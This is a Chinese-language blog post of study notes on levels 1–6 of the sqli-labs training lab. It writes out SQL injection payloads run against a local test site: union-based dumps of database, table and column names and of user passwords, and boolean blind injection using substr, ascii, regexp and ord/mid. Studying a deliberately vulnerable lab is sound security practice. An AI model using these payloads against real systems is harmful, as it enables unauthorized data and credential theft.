首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

sqli labs学习笔记1-6

【第一关】

网页回显 ''1''LIMIT 0,1' 基本可以判断 字符型的注入了 我们加个单引号 可以发现数据库报错了 '被数据库解析了 limit我们用#号进行注释

利用order by 判断字段数量

http://127.0.0.1/sqlilabs/Less-1/?id=1%27%20order%20by%204%20--+

可以知道 只有三个字段 接下来 判断字段的顺序

很神奇 我们的语句没有错 但是并不是我们要的结果 此时我们可以id=-10 两个sql语句操作时 前一个语句选择的内容为空 后面的语句的内容将显示出来

接下来 就是要获取库名了 获取当前数据库名以及版本

获取所有数据库

union select1,2,group_concat(schema_name) from information_schema.schemata --+

获取数据表名

unionselect 1,2,group_concat(table_name) from information_schema.tables wheretable_schema='security' --+ 当属 数据库名可以用十六进制来表示0x7365637572697479

获取字段名称

union select1,2,group_concat(column_name) from information_schema.columns wheretable_name='users' --+

获取详细数据

union select1,2,group_concat(id,'-',username,'-',password) from users --+

【第二关】

其实前四关的类型都基本一样 所以 二到四关不放详细语句了 都重复了

丢到数据库后 查询语句 其实为SELECT * from TABLE where id = 1'

【第三关】

多了个括号 输入的1'丢到数据库后 查询语句 其实为SELECT* from TABLE where id = ('1'' ) LIMIT0,1

和之前的方法是一样的 只不过 多加个括号 手动闭合下语句 也就变成SELECT * from TABLE where id =('-1') XXX --+ ')

【第四关】

单引号已经不报错了 我们加入双引号

根据报错提示 我们得知 数据库语句又变了SELECT* from TABLE where id = ("1" ) LIMIT0,1

我们如何闭合呢SELECT* from TABLE where id = ("-1") --+ " ) LIMIT 0,1

与之前的语句一样的

【第五关】

发现又有limit 记得在语句后面加上#

上面两个可以发现 正确输入 以及 错误输入的回显页面

盲注 这里加个知识点

Length(database())>=

left(database(),1)>'s'Database()显示数据库名字 left(x,y) 从左侧截取x的y位 进行判断

首先判断数据库的长度

id=1' andlength(database())>7 --+

id=1' and length(database())>8 --+出现报错 说明长度不大于8 长度为8

猜解数据库的名字 通过测试 我们其实是知道数据库名为security

id=1'and left(database(),1)='s' --+

那么第一位等于s一定是正常回显的

与之前的语句一样的

前两位为se也是正常的

最后可以判断数据库全名

id=1' andleft(database(),8)='security' --+

下面主要运用ascii() substr(x,y,z)

之前我们爆表的语句 为union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+

结合下 ascii(substr((selecttable_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))

首先通过二分法获取第一个表的第一位字母 为e

id=1'andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),1,1))=101 --+

第二个字母如何获取? substr(XXXX,2,1)

以此类推 第三个字母为a id=1'andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 0,1),3,1))=97 --+

那么我们如何获取下一张表? 以前说过limit x,y 代表从x开始 获取第y个 limit 0,1其实就是从0开始 获取第一个 那么第二张表不就是limit 1,1? 第三张limit 2,1 第四张limit 3,1

获取第四章表的第一个字母 u

id=1'andascii(substr((select table_name from information_schema.tables wheretable_schema=database() limit 3,1),1,1))=117 --+

第二个字母 s

id=1'and ascii(substr((select table_name frominformation_schema.tables where table_schema=database() limit 3,1),2,1))=115--+

同理 可获得该表名为users

如何获得字段名呢? 像之前一样的方法 使用二分法 是可以的

这里学习下regexp

And1=1的基础上 做的payload

id=1' and 1=(select 1from information_schema.columns where table_name='users' and column_name regexp'^username' limit 0,1)--+

将username 换成 password也是成功的 大大减少我们的爆破时间 实际渗透测试中我们就可以使用这样的方法 去问服务器 有没有这个列的存在 而不用去一个个爆破

利用ord() mid()直接获取users表的内容

第一个字母为D

id=1'and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.usersORDER BY id LIMIT 0,1),1,1))=68 --+

第二个字母为u

id=1'and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.usersORDER BY id LIMIT 0,1),2,1))=117 --+

以此类推 第一行数据为Dumb

【第六关】

不同点已经圈出来了 和第五关方法是一样的 不再演示

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20190130G198OA00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券